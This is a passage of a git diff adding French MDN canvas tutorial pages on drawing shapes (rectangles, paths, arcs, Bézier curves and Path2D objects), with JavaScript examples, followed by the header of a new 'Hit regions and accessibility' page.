+<p>Chacune de ces trois fonctions a les mêmes paramètres. <code>x</code> et <code>y</code> indiquent la position sur le canevas (par rapport à l'origine) du coin supérieur gauche du rectangle sur le canvas. <code>largeur</code> et <code>hauteur</code> indiquent la taille du rectangle.</p>
+
+<p>Ci-dessous la fonction <code>draw()</code> de la page précédente, mais utilisant maintenant ces trois fonctions.</p>
+
+<h3 id="Exemple_de_forme_rectangulaire">Exemple de forme rectangulaire</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25, 25, 100, 100);
+    ctx.clearRect(45, 45, 60, 60);
+    ctx.strokeRect(50, 50, 50, 50);
+  }
+}</pre>
+
+<p>Le résultat de cet exemple est montré ci-dessous.</p>
+
+<p>{{EmbedLiveSample("Exemple_de_forme_rectangulaire", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p>La fonction <code>fillRect()</code> dessine un grand carré noir de 100 pixels de côté. La fonction <code>clearRect()</code> efface ensuite un carré de 60x60 pixels, et finalement, la fonction <code>strokeRect()</code> est appelée pour créer un contour rectangulaire de 50x50 pixels dans l'espace effacé.</p>
+
+<p>Dans les pages qui suivent, nous verrons deux méthodes alternatives pour <code>clearRect()</code>, et nous verrons aussi comment changer la couleur et le style de trait des formes rendues.</p>
+
+<p>A la différence des fonctions de trajet que nous allons voir dans la prochaine section, les trois fonctions de rectangles dessinent immédiatement sur le canvas.</p>
+
+<h2 id="Dessin_de_trajets">Dessin de trajets</h2>
+
+<p>Les seules autres formes primitives sont les <em>trajets</em>. Un trajet est une liste de points, reliés par des segments de lignes qui peuvent être de différentes formes, incurvées ou non, de largeur différente et de couleur différente. Un trajet, ou même un sous-trajet, peut être fermé. La réalisation de formes utilisant des trajets requiert quelques étapes supplémentaires :</p>
+
+<ol>
+ <li>Tout d'abord, vous devez créer le trajet.</li>
+ <li>Ensuite vous devez utiliser des <a href="https://developer.mozilla.org/fr-FR/docs/Web/API/CanvasRenderingContext2D#Paths">instructions de dessin</a> pour dessiner sur le trajet.</li>
+ <li>Finalement, vous devez fermer le trajet.</li>
+ <li>Une fois que le trajet a été créé, vous devez le tracer ou le remplir pour le faire apparaître.</li>
+</ol>
+
+<p>Voici les functions utilisées pour réaliser ces étapes :</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>Crée un nouveau trajet. Une fois créé, les fonctions de dessin ultérieures seront dirigées vers le trajet et utilisées pour le construire.</dd>
+ <dt><a href="https://developer.mozilla.org/fr-FR/docs/Web/API/CanvasRenderingContext2D#Paths">Méthodes de trajet</a></dt>
+ <dd>Méthodes pour définir différents trajets pour les objets.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd>Ferme le trajet pour que les fonctions de dessin ultérieures soient à nouveau dirigées vers le contexte.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>Dessine la forme en traçant son contour.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>Dessine une forme pleine en remplissant la zone de contenu du trajet.</dd>
+</dl>
+
+<p>La première étape pour créer un trajet est d'appeler <code>beginPath()</code>. En interne, les trajets sont stockés comme une liste de sous-trajets (lignes, arcs, etc) qui ensemble réalisent une forme. Chaque fois que cette méthode est appelée, la liste est remise à zéro, et nous pouvons commencer à dessiner de nouvelles formes.</p>
+
+<div class="note"><strong>Note :</strong> lorsque le trajet en cours est vide, par exemple immédiatement après avoir appelé <code>beginPath()</code>, ou sur un canvas nouvellement créé, la première instruction de construction de trajet est toujours traitée comme un <code>moveTo()</code>, indépendamment de ce qu'elle est en réalité. Pour cette raison, il sera pratiquement toujours souhaitable d'indiquer la position de départ après la réinitialisation d'un trajet.</div>
+
+<p>La deuxième étape est d'appeler les méthodes qui indiquent effectivement les sous-trajets à dessiner. Nous verrons ces méthodes bientôt.</p>
+
+<p>La troisième méthode, optionnelle, est l'appel à <code>closePath()</code>. Cette méthode essaye de fermer la forme géométrique en dessinant une ligne droite depuis le point courant jusqu'au début du trajet. Si la forme a déjà été fermée ou s'il n'y a qu'un seul point dans la liste, cette fonction ne fait rien.</p>
+
+<div class="note"><strong>Note :</strong> quand vous appelez <code>fill()</code>, toutes les formes ouvertes sont automatiquement fermées, ainsi vous n'avez pas à appeler <code>closePath()</code>. Ce n'est <strong>pas</strong> le cas quand vous appelez <code>stroke()</code>.</div>
+
+<h3 id="Dessin_dun_triangle">Dessin d'un triangle</h3>
+
+<p>Par exemple, le code pour dessiner un triangle peut ressembler à ce qui suit :</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75, 50);
+    ctx.lineTo(100, 75);
+    ctx.lineTo(100, 25);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>Le résultat ressemble à :</p>
+
+<p>{{EmbedLiveSample("Dessin_d'un_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="Déplacement_du_stylo">Déplacement du stylo</h3>
+
+<p>Une fonction très utile, qui ne dessine rien mais qui fait tout de même partie de la liste de trajets décrite plus haut, est la fonction <code>moveTo()</code>. La meilleure façon de l'imaginer est le fait de lever un stylo ou un crayon depuis une position sur un papier, et de le placer sur une autre.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>Déplace le stylo aux coordonnées <code>x</code> et <code>y</code>.</dd>
+</dl>
+
+<p>Lorsque le canevas est initialisé ou que <code>beginPath()</code> est appelé, vous souhaiterez typiquement utiliser <code>moveTo()</code> pour positionner le point de départ quelque part ailleurs. On pourrait aussi utiliser <code>moveTo()</code> pour dessiner des trajets non reliés. Jetez un coup d'œil à l'émoticon ci-dessous.</p>
+
+<p>Pour essayer par vous-même, vous pouvez utiliser le fragment de code ci-dessous. Collez-le simplement dans la fonction <code>draw()</code> que nous avons vue plus tôt.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75, 75, 50, 0, Math.PI * 2, true);  // Cercle extérieur
+    ctx.moveTo(110,75);
+    ctx.arc(75, 75, 35, 0, Math.PI, false);  // Bouche (sens horaire)
+    ctx.moveTo(65, 65);
+    ctx.arc(60, 65, 5, 0, Math.PI * 2, true);  // Oeil gauche
+    ctx.moveTo(95, 65);
+    ctx.arc(90, 65, 5, 0, Math.PI * 2, true);  // Oeil droite
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>Le résultat ressemble à ce qui suit :</p>
+
+<p>{{EmbedLiveSample("Déplacement_du_stylo", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p>Si vous voulez voir les lignes d'interconnexion, vous pouvez enlever les lignes qui appellent <code>moveTo()</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> pour en savoir plus sur la fonction <code>arc()</code>, voir la section {{anch("Arcs")}} ci-dessous.</p>
+</div>
+
+<h3 id="Les_lignes">Les lignes</h3>
+
+<p>Pour dessiner des lignes droites, utilisez la méthode <code>lineTo()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>Dessine une ligne depuis la position de dessin courante jusqu'à la position spécifiée par <code>x</code> et <code>y</code>.</dd>
+</dl>
+
+<p>Cette méthode prend deux arguments, <code>x</code> et <code>y</code>, qui sont les coordonnées du point final de la ligne. Le point de départ dépend des trajets précédemment tracés, où le point final du trajet précédent est le point de départ du suivant, etc. Le point de départ peut aussi être changé en utilisant la méthode <code>moveTo()</code>.</p>
+
+<p>L'exemple ci-dessous dessine deux triangles, un rempli et un filaire.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    // Triangle plein
+    ctx.beginPath();
+    ctx.moveTo(25, 25);
+    ctx.lineTo(105, 25);
+    ctx.lineTo(25, 105);
+    ctx.fill();
+
+    // Triangle filaire
+    ctx.beginPath();
+    ctx.moveTo(125, 125);
+    ctx.lineTo(125, 45);
+    ctx.lineTo(45, 125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>Il commence par appeler <code>beginPath()</code> pour démarrer un nouveau trajet de forme. Nous utilisons ensuite la méthode <code>moveTo()</code> pour déplacer le point de départ à la position désirée. En dessous, deux lignes sont dessinées, qui constituent deux côtés du triangle.</p>
+
+<p>{{EmbedLiveSample("Les_lignes", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p>Vous remarquerez la différence entre le triangle plein et le filaire. Cela, comme mentionné précédemment, vient du fait que les formes sont automatiquement fermées lorsqu'un trajet est rempli, mais pas lorsqu'elles sont dessinées au trait. Si nous avions omis le <code>closePath()</code> pour le triangle filaire, seules deux lignes auraient été tracées, et non pas un triangle complet.</p>
+
+<h3 id="Les_arcs">Les arcs</h3>
+
+<p>Pour dessiner des arcs ou des cercles, on utilise les méthodes <code>arc() ou arcTo()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, rayon, angleInitial, angleFinal, antihoraire)")}}</dt>
+ <dd>Dessine un arc de cercle qui est centré à la position <em>(x, y),</em> de rayon <em>r</em>, commençant à <em>angleInitial</em> et finissant à <em>angleFinal</em> en allant dans le sens indiqué par <em>antihoraire</em> (par défaut, horaire).</dd>
+ <dt><strong>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, rayon)")}}</strong></dt>
+ <dd>Dessine un arc avec les points de contrôle et l'angle donnés, relié au point précédent par une ligne droite.</dd>
+</dl>
+
+<p>Regardons plus en détail la méthode <code>arc</code>, qui prend six paramètres : <code>x</code> et <code>y</code> sont les coordonnées du centre du cercle sur lequel l'arc doit être tracé. <code>rayon</code> se passe d'explication. Les paramètres <code>angleInitial et</code> <code>angleFinal</code> définissent en radians les points de départ et d'arrivée de l'arc, le long de la courbe du cercle. Ceux-ci sont mesurés à partir de l'axe des x. Le paramètre <code>antihoraire</code> est une valeur booléenne qui, lorsque <code>true</code>, dessine l'arc dans le sens antihoraire, sinon, l'arc est dessiné dans le sens horaire.</p>
+
+<div class="note">
+<p><strong>Note </strong>: les angles dans la fonction <code>arc</code> sont mesurés en radians, et non en degrés. Pour convertir des degrés en radians, vous pouvez utiliser l'expression JavaScript suivante : <code>radians = (Math.PI/180)*degres</code>.</p>
+</div>
+
+<p>L'exemple suivant est un peu plus complexe que ceux que nous avons vus plus haut. Il dessine 12 arcs différents, avec des angles et des remplissages différents.</p>
+
+<p>Les deux <a href="https://developer.mozilla.org/fr-FR/docs/Web/JavaScript/Reference/Statements/for">boucles <code>for</code></a> bouclent sur les lignes et les colonnes des arcs. Pour chaque arc, on commence un nouveau trajet en appelant <code>beginPath()</code>. Dans le code, chacun des paramètres dans l'arc est une variable pour des raisons de clarté, mais en réalité, vous n'avez pas besoin de le faire.</p>
+
+<p>Les coordonnées <code>x</code> et <code>y</code> devraient être claires. <code>rayon</code> et <code>angleInitial</code> sont fixés. L'<code>angleFinal</code> commence à 180 degrés (demi-cercle) dans la première colonne et il est augmenté par pas de 90 degrés, pour finir par un cercle complet dans la dernière colonne.</p>
+
+<p>L'instruction pour le paramètre <code>antihoraire</code> a pour résultat que la première et de la troisième ligne sont dessinées comme des arcs de sens horaire, et que la deuxième et quatrième sont dessinées comme des arcs de sens antihoraire. Enfin, l'instruction <code>if</code> fait des arcs filaires dans la moité supérieure, et des arcs remplis dans la moitié inférieure.</p>
+
+<div class="note">
+<p><strong>Note :</strong> cet exemple requiert canevas légèrement plus large que les autres sur cette page : 150 x 200 pixels.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canevas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    for(var i = 0; i &lt; 4; i++) {
+      for(var j = 0; j &lt; 3; j++) {
+        ctx.beginPath();
+        var x = 25 + j * 50; // Coordonnée x
+        var y = 25 + i * 50; // Coordonnée y
+        var rayon = 20; // Rayon de l'arc
+        var angleInitial = 0; // Point de départ sur le cercle
+        var angleFinal = Math.PI + (Math.PI * j) / 2; // Point d'arrivée sur le cercle
+        var antihoraire = i % 2 != 0; // Horaire ou antihoraire
+
+        ctx.arc(x, y, rayon, angleInitial, angleFinal, antihoraire);
+
+        if (i&gt;1) {
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Les_arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p>
+
+<h3 id="Les_courbes_quadratiques_et_de_Bézier">Les courbes quadratiques et de Bézier</h3>
+
+<p>Le type suivant de trajets disponible est la <a href="https://fr.wikipedia.org/wiki/Courbe_de_B%C3%A9zier">courbe de Bézier</a>, disponible en deux variétés, cubique et quadratique. Elles sont généralement utilisées pour dessiner des formes naturelles complexes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd>Dessine une courbe de Bézier quadratique depuis la position courante du stylo jusqu'au point final spécifié par <code>x</code> et <code>y</code>, en utilisant le point de contrôle spécifié par <code>cp1x</code> et <code>cp1y</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>Dessine une courbe de Bézier cubique depuis la position courante du stylo jusqu'au point spécifié par <code>x</code> et <code>y</code>, en utilisant les points de contrôle (<code>cp1x</code>, <code>cp1y</code>) et (<code>cp2x</code>, <code>cp2y</code>).</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">La différence entre ces deux méthodes est mieux décrite par l'image à droite. Une courbe quadratique de Bézier a un point de départ et un point d'arrivée (points bleus), et seulement un <strong>point de contrôle</strong> (indiqué par le point rouge), tandis qu'une courbe de Bézier cubique utilise deux points de contrôle.</p>
+
+<p>Les paramètres <code>x</code> et <code>y</code> de ces deux méthodes sont les coordonnées du point d'arrivée. <code>cp1x</code> et <code>cp1y</code> sont les coordonnées du premier point de contrôle, et  <code>cp2x</code> et <code>cp2y</code> sont les coordonnées du second point de contrôle.</p>
+
+<p>Utiliser des courbes quadratiques et cubiques de Bézier peut constituer un certain défi, car à la différence d'un logiciel de tracé des vecteurs comme <em>Adobe Illustrator</em>, nous n'avons pas de retour visuel direct concernant ce que nous faisons. Cela rend passablement difficile le dessin de formes complexes. Dans l'exemple suivant, nous allons dessiner quelques formes naturelles simples, mais si vous avez du temps et - surtout - de la patience, des formes bien plus complexes peuvent être créées.</p>
+
+<p>Il n'y a rien de très difficile dans ces exemples. Dans les deux cas, on peut voir une succession de courbes être dessinées qui aboutissent finalement à une forme complète.</p>
+
+<h4 id="Courbes_de_Bézier_quadratiques">Courbes de Bézier quadratiques</h4>
+
+<p>Cet exemple utilise plusieurs courbes quadratiques de Bézier pour rendre une bulle de dialogue.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    // Exemples de courbes quadratiques
+    ctx.beginPath();
+    ctx.moveTo(75, 25);
+    ctx.quadraticCurveTo(25, 25, 25, 62.5);
+    ctx.quadraticCurveTo(25, 100, 50, 100);
+    ctx.quadraticCurveTo(50, 120, 30, 125);
+    ctx.quadraticCurveTo(60, 120, 65, 100);
+    ctx.quadraticCurveTo(125, 100, 125, 62.5);
+    ctx.quadraticCurveTo(125, 25, 75, 25);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Courbes_de_Bézier_quadratiques", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="Les_courbes_de_Bézier_cubiques">Les courbes de Bézier cubiques</h4>
+
+<p>Cet exemple dessine un cœur en utilisant les courbes de Bézier cubiques.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    // Exemple de courbes cubiques
+    ctx.beginPath();
+    ctx.moveTo(75, 40);
+    ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);
+    ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
+    ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);
+    ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);
+    ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);
+    ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Les_courbes_de_Bézier_cubiques", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="Rectangles">Rectangles</h3>
+
+<p>En plus des trois méthodes que nous avons vues dans {{anch("Dessin de rectangles")}}, qui dessinent des formes rectangulaires directement sur le canevas, il y a la méthode <code>rect()</code>, qui ajoute un trajet rectangulaire à un trajet actuellement ouvert.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, largeur, hauteur)")}}</dt>
+ <dd>Dessine un rectangle dont l'angle supérieur gauche est spécifié par (<code>x</code>, <code>y</code>), avec les <code>largeur</code> et <code>hauteur</code> spécifiées.</dd>
+</dl>
+
+<p>Quand cette méthode est exécutée, la méthode <code>moveTo()</code> est automatiquement appelée avec les paramètres (0,0). En d'autres termes, la position en cours du stylo est automatiquement réinitialisée aux coordonnées par défaut.</p>
+
+<h3 id="Combiner_les_possibilités">Combiner les possibilités</h3>
+
+<p>Jusqu'à présent, chaque exemple de cette page a utilisé un seul type de fonction de trajet par forme. Cependant, il n'y a pas de limite au nombre ou aux types de trajets que vous pouvez utiliser pour créer une forme. Ainsi, dans ce dernier exemple, combinons toutes les fonctions de trajet pour faire un ensemble de personnages d'un jeu très célèbre.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canevas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function dessiner() {
+  var canevas = document.getElementById('canevas');
+  if (canevas.getContext) {
+    var ctx = canevas.getContext('2d');
+
+    rectArrondi(ctx, 12, 12, 150, 150, 15);
+    rectArrondi(ctx, 19, 19, 150, 150, 9);
+    rectArrondi(ctx, 53, 53, 49, 33, 10);
+    rectArrondi(ctx, 53, 119, 49, 16, 6);
+    rectArrondi(ctx, 135, 53, 49, 33, 10);
+    rectArrondi(ctx, 135, 119, 25, 49, 10);
+
+    ctx.beginPath();
+    ctx.arc(37, 37, 13, Math.PI/7, -Math.PI/7, false);
+    ctx.lineTo(31, 37);
+    ctx.fill();
+
+    for(var i = 0; i&lt; 8; i++) {
+      ctx.fillRect(51 + i * 16, 35, 4, 4);
+    }
+
+    for(i = 0; i &lt; 6; i++) {
+      ctx.fillRect(115, 51 + i * 16, 4, 4);
+    }
+
+    for(i = 0; i &lt; 8; i++) {
+      ctx.fillRect(51 + i * 16, 99, 4, 4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83, 116);
+    ctx.lineTo(83, 102);
+    ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
+    ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
+    ctx.lineTo(111, 116);
+    ctx.lineTo(106.333, 111.333);
+    ctx.lineTo(101.666, 116);
+    ctx.lineTo(97, 111.333);
+    ctx.lineTo(92.333, 116);
+    ctx.lineTo(87.666, 111.333);
+    ctx.lineTo(83, 116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91, 96);
+    ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
+    ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
+    ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
+    ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
+    ctx.moveTo(103, 96);
+    ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
+    ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
+    ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
+    ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}
+
+// Une fonction utilitaire pour tracer des rectangles avec des coins arrondis
+
+function rectArrondi(ctx, x, y, largeur, hauteur, rayon) {
+  ctx.beginPath();
+  ctx.moveTo(x, y + rayon);
+  ctx.lineTo(x, y + hauteur - rayon);
+  ctx.quadraticCurveTo(x, y + hauteur, x + rayon, y + hauteur);
+  ctx.lineTo(x + largeur - rayon, y + hauteur);
+  ctx.quadraticCurveTo(x + largeur, y + hauteur, x + largeur, y + hauteur - rayon);
+  ctx.lineTo(x + largeur, y + rayon);
+  ctx.quadraticCurveTo(x + largeur, y, x + largeur - rayon, y);
+  ctx.lineTo(x + rayon,y);
+  ctx.quadraticCurveTo(x, y, x, y + rayon);
+  ctx.stroke();
+}
+
+</pre>
+
+<p>L'image résultante ressemble à ce qui suit :</p>
+
+<div id="section_18">
+<p>{{EmbedLiveSample("Combiner_les_possibilités", 160, 160)}}</p>
+
+<p>Nous ne l'expliquerons pas plus en détails, du fait que c'est étonnament simple. Les choses les plus importantes à noter sont l'utilisation de la propriété <code>fillStyle</code> sur le contexte du dessin, et l'utilisation d'une fonction utilitaire dans ce cas, rectArrondi<code>())</code>. L'utilisation de fonctions utilitaires pour des éléments de dessin que vous faites souvent peut être très utile, et peut réduire la quantité de code dont vous avez besoin, ainsi que sa complexité.</p>
+
+<p>Nous reviendrons sur <code>fillStyle</code> plus en détail plus loin dans ce tutoriel. Pour l'instant, tout ce que nous faisons est de l'utiliser pour changer en blanc la couleur pour les trajets depuis la couleur noire par défaut, et inversement ensuite.</p>
+</div>
+</div>
+
+<h2 id="Objets_Path2D">Objets Path2D</h2>
+
+<p>Comme nous l'avons vu dans le dernier exemple, il peut y avoir une série de trajets et d'instructions de dessin pour dessiner des objets sur votre canevas. Pour simplifier le code et améliorer les performances, l'objet {{domxref("Path2D")}}, disponible dans les versions récentes des navigateurs, vous permet de mettre en cache ou d'enregistrer ces instrucions de dessin. Vous pourrez alors rejouer vos trajets rapidement.<br>
+ Voyons comment nous pouvons construire un objet <code>Path2D </code>:</p>
+
+<dl>
+ <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
+ <dd>Le constructor <code><strong>Path2D()</strong></code> retourne un objet <code>Path2D</code> nouvellement instancié, optionellement avec un autre trajet comme argument (crée une copie), ou optionellement avec une chaîne constituée de données de <a href="https://developer.mozilla.org/fr-FR/docs/Web/SVG/Tutorial/Paths">trajet SVG</a>.</dd>
+</dl>
+
+<pre class="notranslate"><code>new Path2D();     // objet trajet vide
+new Path2D(trajet); // copie depuis un autre objet Path2D
+new Path2D(d);    // trajet depuis des données de trajet SVG</code></pre>
+
+<p>Toutes les <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">méthodes de trajet</a> telles que <code>moveTo</code>, <code>rect</code>, <code>arc</code> ou <code>quadraticCurveTo</code>, etc., que nous avons appris à connaître ci-dessus, sont disponibles sur les objets <code>Path2D</code>.</p>
+
+<p>L'API <code>Path2D</code> ajoute aussi une manière de combiner des trajets en utilisant la méthode <code>addPath</code>. Cela peut être utile quand vous voulez contruire des objets à partir de plusieurs composants, par exemple.</p>
+
+<dl>
+ <dt>{{domxref("Path2D.addPath", "Path2D.addPath(trajet [, transformation])")}}</dt>
+ <dd>Ajoute un trajet, au trajet en cours, avec une matrice de transformation.</dd>
+</dl>
+
+<h3 id="Exemple_de_Path2D">Exemple de Path2D</h3>
+
+<p>Dans cet exemple, on crée un rectangle et un cercle. Tous deux sont stockés comme des objets <code>Path2D</code>, de sorte qu'ils sont disponibles pour un usage ultérieur. Avec la nouvelle API <code>Path2D</code>, plusieurs méthodes ont été mises à jour pour accepter optionnellement un objet <code>Path2D</code> à utiliser au lieu du trajet en cours. Ici, <code>stroke</code> et <code>fill</code> sont utilisés avec un argument de trajet pour dessiner les deux objets sur le canevas, par exemple.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="dessiner();"&gt;
+   &lt;canvas id="canvas" width="130" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6,9] notranslate">function dessiner() {
+  var canevas = document.getElementById('canvas');
+  if (canevas.getContext){
+    var ctx = canevas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var cercle = new Path2D();
+    cercle.moveTo(125, 35);
+    cercle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(cercle);
+  }
+}</pre>
+
+<p>{{EmbedLiveSample("Exemple_de_Path2D", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="Utilisation_de_trajets_SVG">Utilisation de trajets SVG</h3>
+
+<p>Une autre fonctionnalité puissante de la nouvelle API <code>Path2D</code> de canevas est l'utilisation de <a href="https://developer.mozilla.org/fr-FR/docs/Web/SVG/Tutorial/Paths">données de trajet SVG</a> pour initialiser des trajets sur votre canevas. Cela peut vous permettre de faire circuler des données de trajet et les réutiliser, à la fois en SVG et dans un canevas.</p>
+
+<p>Le trajet se déplacera au point (<code>M10 10</code>) et se déplacera alors de 80 points horizontalement vers la droite (<code>h 80</code>), ensuite de 80 points vers le bas (<code>v 80</code>), puis de 80 points vers la gauche (<code>h -80</code>), et reviendra alors au départ (<code>z</code>). Vous pouvez voir cet exemple sur la page du <a href="https://developer.mozilla.org/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths">constructeur P<code>ath2D</code></a>.</p>
+
+<pre class="notranslate"><code>var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</code></pre>
+
+<p>{{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html
new file mode 100644
index 0000000000..59a4d1ce35
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html
@@ -0,0 +1,97 @@
+---
+title: Hit regions and accessibility
+slug: Web/API/Canvas_API/Tutoriel_canvas/Hit_regions_and_accessibility
+translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility
+---
